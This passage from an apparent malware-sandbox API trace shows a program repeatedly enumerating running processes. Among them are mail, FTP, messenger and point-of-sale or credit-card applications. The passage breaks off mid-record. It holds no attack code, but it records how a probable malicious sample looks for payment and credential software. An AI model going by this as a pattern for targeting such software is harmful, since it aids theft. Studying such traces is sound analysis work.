Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0240.210] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0240.213] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0240.216] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0240.219] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0240.222] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0240.225] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0240.227] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0240.230] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0240.234] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0240.236] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0240.239] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0240.241] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0240.244] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0240.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0240.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0240.252] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0240.318] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0240.320] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0240.322] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0240.324] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0240.325] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0240.327] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0240.329] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0240.330] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0240.332] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0240.334] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0240.337] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0240.338] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0240.340] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0240.342] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0240.343] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0240.345] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0240.347] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0240.349] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0240.350] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0240.395] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0240.396] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0240.398] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0240.400] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0240.401] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0240.403] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.405] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.406] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.408] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0240.410] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0240.411] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.413] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0240.414] CloseHandle (hObject=0x13b0) returned 1 [0240.414] Sleep (dwMilliseconds=0x64) [0240.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0240.470] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.471] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.523] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.524] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.526] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.528] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.529] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.531] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.532] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.534] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.535] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.537] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.538] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.540] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.542] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.543] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.545] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.548] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.549] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.550] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0240.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.615] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.618] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.620] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.621] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.623] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.624] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0240.626] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0240.627] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.629] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.630] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0240.632] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0240.633] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0240.634] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, 